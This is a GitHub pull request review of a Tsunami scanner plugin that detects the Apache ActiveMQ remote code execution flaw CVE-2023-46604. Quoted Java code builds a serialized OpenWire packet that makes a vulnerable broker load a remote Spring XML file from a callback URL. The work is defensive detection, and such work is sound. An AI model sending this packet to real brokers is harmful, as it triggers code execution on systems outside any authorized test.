-
Notifications
You must be signed in to change notification settings - Fork 177
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
add Apache ActiveMQ RCE CVE-2023-46604 Detector #370
base: master
Are you sure you want to change the base?
Conversation
The range environment is in google/security-testbeds#17 |
@tooryx Please review |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi @hh-hunter, thank you for your contribution.
I'm reviewing your plugin, but I found it's not working properly, here are some of the more important issues to fix:
- The Gradle versopm must be updated to version 7.0
- The
apachemq-client
dependency is not included in the final jar, therefore the invocation tounmarshalPrimitiveMap()
fails as the class is not found at runtime - The payload generator already generates a complete URL, therefore inserting the payload in the
http://%s/tsunami_scanner.xml
string creates an invalid URL - There is no delay to wait for the payload callback to be received
I also added more comments on things that can be improved.
Please also ensure to run the google-java-format tool on the Java files, as including it as a dependency does not actually format the code.
Feel free to reach out.
~ Savio (Doyensec)
@@ -0,0 +1,7 @@ | |||
distributionBase=GRADLE_USER_HOME | |||
distributionPath=wrapper/dists | |||
distributionUrl=https\://services.gradle.org/distributions/gradle-6.5-bin.zip |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please upgrade to Gradle 7.0
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
OK.
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" | ||
implementation 'com.google.googlejavaformat:google-java-format:1.13.0' | ||
implementation("org.springframework:spring-context-support:${springframeworContextSupportVersion}") |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Spring framework does not seem to be used anywhere in the code, remove the dependency if it's not needed.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okay
implementation "com.google.tsunami:tsunami-common:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-plugin:${tsunamiVersion}" | ||
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" | ||
implementation 'com.google.googlejavaformat:google-java-format:1.13.0' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The google-java-format tool must be used from the command line or as an IDE plugin. It doesn't make sense to import it as a dependency in your project unless your code is generating Java code that needs to be formatted.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okay
mockitoVersion = '2.28.2' | ||
truthVersion = '1.0.1' | ||
okhttpVersion = '3.12.0' | ||
apacheActiveMqClientVersion = '5.18.2' |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Update the software to the latest supported version. This version appears to be affected by a vulnerability. Reference: https://mvnrepository.com/artifact/org.apache.activemq/activemq-client
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
|
||
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Remove the extra empty lines
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okay
Socket socket = socketFactory.createSocket(hp.getHost(), hp.getPort()); | ||
OutputStream os = socket.getOutputStream(); | ||
DataOutputStream dos = new DataOutputStream(os); | ||
dos.writeInt(0); | ||
dos.writeByte(31); | ||
dos.writeInt(0); | ||
dos.writeBoolean(false); | ||
dos.writeInt(0); | ||
dos.writeBoolean(true); | ||
dos.writeBoolean(true); | ||
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); | ||
dos.writeBoolean(true); | ||
dos.writeUTF(String.format("http://%s/tsunami_scanner.xml", payload.getPayload())); | ||
|
||
dos.close(); | ||
os.close(); | ||
socket.close(); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This code block could probably be moved to a separate function for clarity. Please also add some comments if possible to clarify what it's happening.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
dos.writeBoolean(true); | ||
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); | ||
dos.writeBoolean(true); | ||
dos.writeUTF(String.format("http://%s/tsunami_scanner.xml", payload.getPayload())); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This string concatenation doesn't work as the payload produced by the generator is already a URL. Moreover, it looks like that appending other stuff to the path will also break the correct detection of the oob callback.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
os.close(); | ||
socket.close(); | ||
|
||
if (payload.checkIfExecuted()) { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The check is executed right after the payload execution, without any delay. This makes the detection fail as it doesn't wait for the oob callback to be received. Please add a delay here, where the value is injected via Guice, so that it's possible to reduce it in the unit tests. Check out this project for an example: https://github.com/google/tsunami-security-scanner-plugins/tree/master/community/detectors/apache_airflow_cve_2020_17526/src/main/java/com/google/tsunami/plugins/cve202017526
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
PollingResult log = PollingResult.newBuilder().setHasHttpInteraction(true).build(); | ||
String body = JsonFormat.printer().preservingProtoFieldNames().print(log); | ||
mockCallbackServer.enqueue( | ||
new MockResponse().setResponseCode(HttpStatus.OK.code()).setBody(body)); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
These lines can be replaced with: mockCallbackServer.enqueue(PayloadTestHelper.generateMockSuccessfulCallbackResponse());
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
implementation "com.google.tsunami:tsunami-proto:${tsunamiVersion}" | ||
implementation 'com.google.googlejavaformat:google-java-format:1.13.0' | ||
implementation("org.springframework:spring-context-support:${springframeworContextSupportVersion}") | ||
implementation "org.apache.activemq:activemq-client:${apacheActiveMqClientVersion}" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This dependency is not included in the final jar, therefore the plugin fails at runtime. Add a jar
directive to include this dependency in the final archive.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
@lokiuox I have finished the repair, please check it. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @hh-hunter, I checked out the changes but the plugin is still not working for me.
I added a some comments on a few things that were not fixed properly and a few new things, please check them out.
Please make sure that the plugin is working locally before submitting the new changes. Also make sure to run the google-java-format tool on the Java files, as I see that they're still not properly formatted.
Thanks!
logger.atInfo().log("Target %s is vulnerable", networkService); | ||
return true; | ||
} else { | ||
logger.atInfo().log("Target %s is not vulnerable", networkService); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please do not print the networkService
object.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10)); | ||
|
||
if (payload.checkIfExecuted()) { | ||
logger.atInfo().log("Target %s is vulnerable", networkService); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please do not print the networkService
object.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
try { | ||
boolean sendPayloadResult = this.sendPayloadToTarget(hp.getHost(), hp.getPort(), payload); | ||
if (!sendPayloadResult) { | ||
logger.atInfo().log("Send payload to target %s failed", networkService); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please do not print the networkService
object.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
return false; | ||
} | ||
} catch (Exception e) { | ||
logger.atWarning().withCause(e).log("Request to target %s failed", networkService); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please do not print the networkService
object.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
dos.writeBoolean(true); | ||
dos.writeUTF("org.springframework.context.support.ClassPathXmlApplicationContext"); | ||
dos.writeBoolean(true); | ||
dos.writeUTF(String.format("http://%s", payload.getPayload())); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The payload returned by the generator already includes the protocol, please remove the format string entirely.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Ah, that's interesting. My setup generates the following payload instead: http://<tcs_IP>:8881/db07cab77d4cb9524495c24a8c124e951549ffdc960ce7fc9909f18
.
I think this happens because you have setup the callback server to enable the DNS callback mode and it's defaulting to that, while I only enabled the HTTP callback: https://github.com/google/tsunami-security-scanner-callback-server#dns-callback
The safest solution to this would probably be to check if the payload string starts with 'http://' and add the protocol if it's missing.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hi, I had a similar situation here https://github.com/google/tsunami-security-scanner-plugins/pull/492/files#diff-998ecfa2b01e1130e06a7463be0c9124055a88bbf5c619c125520781b766861fR131-R141 which I solved it like what you said, you can copy use it if you want.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I needed an SSRF payload without a protocol part, so I removed it.
return false; | ||
} | ||
|
||
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(10)); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please, as explained in the last review, inject the duration value via Guice, so that it's possible to reduce it in the unit tests. Check out this project for an example implementation:
Line 169 in e7cbb37
Uninterruptibles.sleepUninterruptibly(Duration.ofSeconds(oobSleepDuration)); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
He introduced his own custom annotation, do I also need to define my own annotation and import it? I think it's better for the framework to provide this capability.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Yes, you should also define the custom annotation. I think you should be able to just copy the implementation of the OobSleepDuration
annotation from that project as it is and only change the class names to match your project.
I agree that this is a common occurrence and it would be useful to have a dedicated function/annotation in the framework.
|
||
Payload payload = this.payloadGenerator.generate(config); | ||
if (!payload.getPayloadAttributes().getUsesCallbackServer()) { | ||
return false; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If the code reached this point, it means that the software version is a vulnerable one, but it cannot be verified because the oob callback server is not available. So to not get false-negative result, please return true
here instead of false
. In this case, detection report should say that the detection status is VULNERABILITY_PRESENT
instead of VULNERABILITY_VERIFIED
and you should specify in the vulnerability's additional details field whether the vulnerability was verified using the oob method or just detected due to the server's version.
Also, a unit test should be added for this case (i.e. vulnerable version but oob server unavailable produce a positive finding)
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
logger.atInfo().log( | ||
"The target version %s is not susceptible. A version comparison has been completed, but payload " | ||
+ "verification has not been officially initiated.", | ||
currentVersion); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This log line is incorrect, check the next comment below for more info. Please remove it or restore it as it was before.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Okey
I've finished modifying the problem you mentioned (including the oobSleep part),and I've used google-java-format to format the code,for the payload generation part I have not modified, because I see the situation is not included http protocol, if you are sure to include, I can also change to remove the manual addition of the protocol section, please review it! @lokiuox |
@lokiuox All problems have been fixed, please review it again |
Regarding the bonus of the last plug-in, there has been no progress from January to now. Can you tell me what's going on? |
Hey @hh-hunter, I work for Doyensec and we're helping with plugin reviews, but we're not part of the Tsunami team, so I cannot help you with that or even see the ticket, sorry. |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @hh-hunter, I left comments on a few issues, check them out.
Also please run the google-java-format tool before submitting the changes.
} | ||
return false; | ||
} | ||
|
||
// Generate payload for Apache ActiveMQ RCE(CVE-2023-46604), and use socket to send payload | ||
private boolean sendPayloadToTarget(String host, int port, Payload payload) { | ||
try { | ||
String payloadString = payload.getPayload(); | ||
if (!payloadString.contains("http://") || !payloadString.contains("https://")) { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
- Please use
startsWith
instead ofcontains
here - The condition here is inverted, it should be
&&
instead of||
} | ||
useOOBVerifyVulnerable = true; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please follow the capitalization from Google's style guide: useOobVerifyVulnerable
@@ -84,12 +90,17 @@ public void nextBytes(byte[] bytes) { | |||
}; | |||
private final MockWebServer mockCallbackServer = new MockWebServer(); | |||
|
|||
private boolean closeOOBServer = false; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This variable doesn't seem to be used anywhere, please delete it if not needed.
.injectMembers(this); | ||
} | ||
|
||
public void setUpOfNotUseOOB() throws IOException { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please follow the capitalization from Google's style guide: setUpNoOob
@@ -196,6 +231,60 @@ public void detect_whenNotVulnerable_returnsNoVulnerability() throws Exception { | |||
assertThat(detectionReports.getDetectionReportsList()).isEmpty(); | |||
} | |||
|
|||
@Test | |||
public void detect_whenVulnerable_returnsVulnerability_not_use_oob() throws Exception { |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please follow the capitalization from Google's style guide and follow the correct test naming format: detect_whenVulnerableWithoutOob_returnsVulnerability
static final String VULN_DESCRIPTION_OF_OOB_VERIFY = | ||
"Apache ActiveMQ is vulnerable to Remote Code Execution. The vulnerability may allow a remote attacker with " | ||
+ "network access to a broker to run arbitrary shell commands by manipulating serialized class types in " | ||
+ "the OpenWire protocol to cause the broker to instantiate any class on the classpath. "; | ||
|
||
@VisibleForTesting | ||
static final String VULN_DESCRIPTION_OF_VERSION = | ||
VULN_DESCRIPTION_OF_OOB_VERIFY | ||
+ "vulnerable version but oob server unavailable produce a positive finding. "; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please, clearly specify how the vulnerability was verified for both cases.
Here's an example:
-
The vulnerability was verified using an out-of-band callback.
-
The vulnerability was detected based on the server's version number, but could not be verified.
Also, it would be nice to have the detected server's version number in the additional details field.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
The vulnerability was verified using an out-of-band callback.-->detect_whenVulnerable_returnsVulnerability
The vulnerability was detected based on the server's version number, but could not be verified.-->detect_whenVulnerableWithoutOob_returnsVulnerability
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @hh-hunter I meant to state that better in the two vulnerability description strings. For instance, VULN_DESCRIPTION_OF_OOB_VERIFY
does not state anywhere that the vulnerability was verified using an out of band callback. Would be nice to have that info. Also please if you add more text follow the formal English style you used in "VULN_DESCRIPTION_OF_OOB_VERIFY" to keep consistency.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
5728180 Is that so?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hey @hh-hunter, here are a few last suggestions.
Please, don't forget to run the google-java-format tool before submitting your changes.
Thanks!
import com.google.tsunami.common.time.testing.FakeUtcClockModule; | ||
import com.google.tsunami.plugin.payload.testing.FakePayloadGeneratorModule; | ||
import com.google.tsunami.plugin.payload.testing.PayloadTestHelper; | ||
import com.google.tsunami.proto.*; |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Please do not use wildcard imports
VulnerabilityId.newBuilder() | ||
.setPublisher("TSUNAMI_COMMUNITY") | ||
.setValue("CVE_2023_46604")) | ||
.setSeverity(Severity.CRITICAL) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I've been been recently advised by the Tsunami team that when vulnerabilities are not verified through the callback server, the severity should be reduced. So please change this so that if the detection was made only through the server version, the severity is HIGH
instead of CRITICAL
.
private DetectionReport buildDetectionReport( | ||
TargetInfo targetInfo, NetworkService vulnerableNetworkService) { | ||
TextData details = | ||
TextData.newBuilder().setText("current version is " + currentVersion).build(); |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
TextData.newBuilder().setText("current version is " + currentVersion).build(); | |
TextData.newBuilder().setText("The detected software version is " + currentVersion).build(); |
"Apache ActiveMQ is susceptible to a Remote Code Execution (RCE) vulnerability. This flaw could enable a remote" | ||
+ " attacker with network access to a broker to execute arbitrary shell commands by manipulating serialized" | ||
+ " class types within the OpenWire protocol, thereby causing the broker to instantiate any class on the " | ||
+ "classpath. Although the vulnerability was identified based on the server's version number, it has not yet" |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
+ "classpath. Although the vulnerability was identified based on the server's version number, it has not yet" | |
+ "classpath. Although the vulnerability was identified based on the server's version number, it has not" |
I think it would be better to remove yet
here as it could be confusing for people, as they could think that the scan has not finished
@tooryx ,hi this is issue #364 merge pull request,please check this.